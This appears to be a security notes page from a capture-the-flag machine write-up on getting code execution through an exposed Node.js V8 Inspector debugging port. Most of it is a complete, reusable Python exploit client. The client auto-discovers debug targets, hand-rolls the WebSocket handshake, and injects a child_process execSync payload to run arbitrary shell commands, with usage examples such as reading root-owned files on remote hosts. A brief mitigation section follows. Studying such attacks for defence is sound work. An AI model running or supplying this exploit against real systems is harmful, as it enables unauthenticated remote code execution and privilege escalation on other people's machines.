đź§  Node.js Inspector Protocol RCE

Primary: 01 - Network Security

Secondary: 02 - Remote Code Execution, 02 - Privilege Escalation

What is it?

  • Concept: Node.js ships a built-in debugger, the V8 Inspector, enabled by launching a process with --inspect (or --inspect-brk, --inspect=host:port). It exposes the Chrome DevTools Protocol (CDP) over a WebSocket, letting any connected client set breakpoints, inspect variables, and — critically — call Runtime.evaluate to run arbitrary JavaScript directly inside that Node process’s own V8 context. The protocol has no built-in authentication: anything able to open a TCP connection to the inspector port can drive it fully.
  • Impact: Full code execution as whatever user the Node process runs as. If that process is privileged (root, a service account, etc.), this is a direct privilege-escalation primitive for any local user; if the inspector is bound to a non-loopback address (or reachable through SSRF, a pivot, or port-forwarding), it’s remote unauthenticated RCE.

How it works

By default --inspect binds to 127.0.0.1, which people reasonably read as “safe” — but that only defends against remote attackers. It does nothing against any other local user or process already on the host: anyone with any kind of shell, at any privilege level, can reach it directly.

Discovery: the inspector exposes a small HTTP JSON API alongside the WebSocket endpoint, listing active debug targets and each one’s webSocketDebuggerUrl:

curl http://127.0.0.1:9229/json

Talking to it: once connected over the WebSocket, the session speaks CDP’s JSON-RPC-style messages — {"id": ..., "method": ..., "params": ...}. Two calls matter for RCE:

  • Runtime.enable — activates the Runtime domain.
  • Runtime.evaluate — evaluates a JS expression server-side and returns the result.

The require gotcha: Runtime.evaluate runs in the process’s global execution context, not inside the CommonJS module-wrapper closure — (function(exports, require, module, __filename, __dirname) { ... }) — that every .js file normally executes within. A naive require('child_process') therefore throws:

ReferenceError: require is not defined
    at <anonymous>:1:1

because require is a parameter injected into that closure, not a real global. The fix: process is a real global, and process.mainModule points back at the actual Module object the entry-point script was loaded as — which carries its own real, closure-scoped .require(). So process.mainModule.require('child_process').execSync(...) reaches the same require the target script itself uses, from entirely outside its closure. (React2Shell uses this exact same trick to escape its own deserialization sandbox.)

Exploitation

Prerequisites

Ability to open a TCP connection to the inspector port — either because it’s bound non-locally, or because the attacker already has some form of local code execution/shell on the host.

Attack Vector: Manual CDP client (no tooling available on target)

When the target has no internet access and no WebSocket client library on hand — no ws npm package, no Python websocket/websockets, no socat/websocat, and an older Node version with no built-in global WebSocket (stable only from Node 22+; unavailable in v20 even behind --experimental-websocket) — a client can still be hand-rolled with nothing but the Python standard library: raw socket for the TCP connection, a manual HTTP Upgrade: websocket handshake, and manual WebSocket frame encode/decode (client→server frames must be masked per RFC 6455).

This generalized version auto-discovers the debug target via the /json endpoint (no hardcoded target ID to go stale across process restarts) and exposes --host/--port/--target-id so it drops straight onto a different box:

#!/usr/bin/env python3
"""
cdp_rce.py - Generic Node.js Inspector Protocol (CDP) RCE client.
 
Examples:
    python3 cdp_rce.py id
    python3 cdp_rce.py -H 127.0.0.1 -p 9229 'whoami'
    python3 cdp_rce.py --list
    python3 cdp_rce.py --target-id abcd1234-... 'cat /root/root.txt'
    python3 cdp_rce.py --js "1+1"
"""
import argparse
import base64
import json
import os
import socket
import struct
import sys
import time
import urllib.request
 
 
def discover_targets(host, port, timeout=5):
    url = f"http://{host}:{port}/json"
    with urllib.request.urlopen(url, timeout=timeout) as resp:
        return json.loads(resp.read().decode())
 
 
def ws_target_path(target):
    ws_url = target.get("webSocketDebuggerUrl", "")
    idx = ws_url.find("/", len("ws://"))
    return ws_url[idx:] if idx != -1 else f"/{target.get('id', '')}"
 
 
def ws_handshake(sock, host, port, path):
    key = base64.b64encode(os.urandom(16)).decode()
    req = (f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
           "Upgrade: websocket\r\nConnection: Upgrade\r\n"
           f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n")
    sock.sendall(req.encode())
    resp = b""
    while b"\r\n\r\n" not in resp:
        chunk = sock.recv(4096)
        if not chunk:
            raise ConnectionError("connection closed during handshake")
        resp += chunk
    status_line = resp.split(b"\r\n", 1)[0]
    if b"101" not in status_line:
        raise ConnectionError(f"handshake failed: {status_line!r}")
 
 
def send_frame(sock, data: bytes):
    length = len(data)
    mask_key = os.urandom(4)
    if length <= 125:
        header = struct.pack("!BB", 0x81, 0x80 | length)
    elif length <= 65535:
        header = struct.pack("!BBH", 0x81, 0x80 | 126, length)
    else:
        header = struct.pack("!BBQ", 0x81, 0x80 | 127, length)
    masked = bytes(b ^ mask_key[i % 4] for i, b in enumerate(data))
    sock.sendall(header + mask_key + masked)
 
 
def recv_frame(sock):
    def recvn(n):
        buf = b""
        while len(buf) < n:
            chunk = sock.recv(n - len(buf))
            if not chunk:
                raise ConnectionError("connection closed")
            buf += chunk
        return buf
 
    b1, b2 = recvn(2)
    opcode = b1 & 0x0F
    masked = b2 & 0x80
    length = b2 & 0x7F
    if length == 126:
        length = struct.unpack("!H", recvn(2))[0]
    elif length == 127:
        length = struct.unpack("!Q", recvn(8))[0]
    payload = recvn(length)
    if masked:
        mk = recvn(4)
        payload = bytes(p ^ mk[i % 4] for i, p in enumerate(payload))
    return opcode, payload
 
 
def cdp_call(sock, _id, method, params=None):
    send_frame(sock, json.dumps({"id": _id, "method": method, "params": params or {}}).encode())
 
 
def cdp_wait_for(sock, want_id, timeout):
    start = time.time()
    while time.time() - start < timeout:
        try:
            opcode, payload = recv_frame(sock)
        except Exception:
            break
        if opcode != 0x1:
            continue
        try:
            data = json.loads(payload.decode(errors="replace"))
        except Exception:
            continue
        if data.get("id") == want_id:
            return data
    return None
 
 
def evaluate(host, port, path, expression, timeout):
    sock = socket.create_connection((host, port), timeout=timeout)
    try:
        ws_handshake(sock, host, port, path)
        cdp_call(sock, 1, "Runtime.enable")
        cdp_call(sock, 2, "Runtime.evaluate", {
            "expression": expression,
            "returnByValue": True,
            "timeout": int(timeout * 1000),
        })
        return cdp_wait_for(sock, 2, timeout)
    finally:
        sock.close()
 
 
def build_shell_expression(command):
    b64cmd = base64.b64encode(command.encode()).decode()
    return (
        "process.mainModule.require('child_process')"
        f".execSync(Buffer.from('{b64cmd}','base64').toString(),{{timeout:5000}}).toString()"
    )
 
 
def main():
    parser = argparse.ArgumentParser(description="Node.js Inspector (CDP) RCE client")
    parser.add_argument("-H", "--host", default="127.0.0.1", help="Inspector host (default: 127.0.0.1)")
    parser.add_argument("-p", "--port", type=int, default=9229, help="Inspector port (default: 9229)")
    parser.add_argument("--target-id", help="Specific inspector target id/path (skips auto-discovery)")
    parser.add_argument("--list", action="store_true", help="List available debug targets and exit")
    parser.add_argument("--js", action="store_true", help="Treat COMMAND as a raw JS expression instead of a shell command")
    parser.add_argument("--timeout", type=float, default=8.0, help="Socket/response timeout in seconds (default: 8)")
    parser.add_argument("command", nargs="?", default="id", help="Shell command (or JS expression with --js) to run")
    args = parser.parse_args()
 
    if args.list:
        targets = discover_targets(args.host, args.port, timeout=args.timeout)
        if not targets:
            print("[!] No debug targets found")
            return
        for t in targets:
            print(f"{t.get('id')}  {t.get('title')}  {t.get('url')}")
        return
 
    if args.target_id:
        path = args.target_id if args.target_id.startswith("/") else f"/{args.target_id}"
    else:
        targets = discover_targets(args.host, args.port, timeout=args.timeout)
        if not targets:
            print("[!] No debug targets found (use --target-id to specify one manually)")
            sys.exit(1)
        path = ws_target_path(targets[0])
        if len(targets) > 1:
            print(f"[*] Multiple targets found, using first: {targets[0].get('title')}", file=sys.stderr)
 
    expression = args.command if args.js else build_shell_expression(args.command)
 
    result = evaluate(args.host, args.port, path, expression, args.timeout)
    if result is None:
        print("[!] No response received (timeout?)")
        sys.exit(1)
 
    res = result.get("result", {}).get("result", {})
    if res.get("subtype") == "error":
        print(f"[!] JS error: {res.get('description')}")
        sys.exit(1)
 
    value = res.get("value")
    if value is not None:
        print(value if isinstance(value, str) else json.dumps(value, indent=2))
    else:
        print(json.dumps(result, indent=2))
 
 
if __name__ == "__main__":
    main()

Usage:

python3 cdp_rce.py id                                    # auto-discovers target on 127.0.0.1:9229
python3 cdp_rce.py -H 10.10.10.5 -p 9229 'whoami'         # different host/port
python3 cdp_rce.py --list                                 # see what targets are available first
python3 cdp_rce.py --js "process.version"                 # raw JS eval instead of a shell command

Attack Vector: Existing tooling

When a proper client is available, chrome-remote-interface (npm), the ws package directly, or simply pointing an actual Chrome/Chromium browser at chrome://inspect and adding the target as a “Discover network target” all work equivalently — connect, then run the same process.mainModule.require('child_process').execSync(...) trick from the console/REPL.

Mitigation

  • Never run --inspect in a production or otherwise multi-tenant/multi-user environment. If debugging a live service is unavoidable, attach on-demand and detach immediately after — don’t leave it as a long-lived service.
  • Localhost-only binding (--inspect=127.0.0.1:PORT) is not a security boundary against other local users/processes on the same host — treat it as equivalent to no auth at all in any environment where the host isn’t single-tenant.
  • Run debug-enabled processes under a dedicated low-privilege service account rather than root/an administrative user, so a compromised inspector doesn’t collapse straight to full host compromise.
FileCreated
HTB Machine - ReactorTuesday, July 28th 2026, 1:31:08 am

References: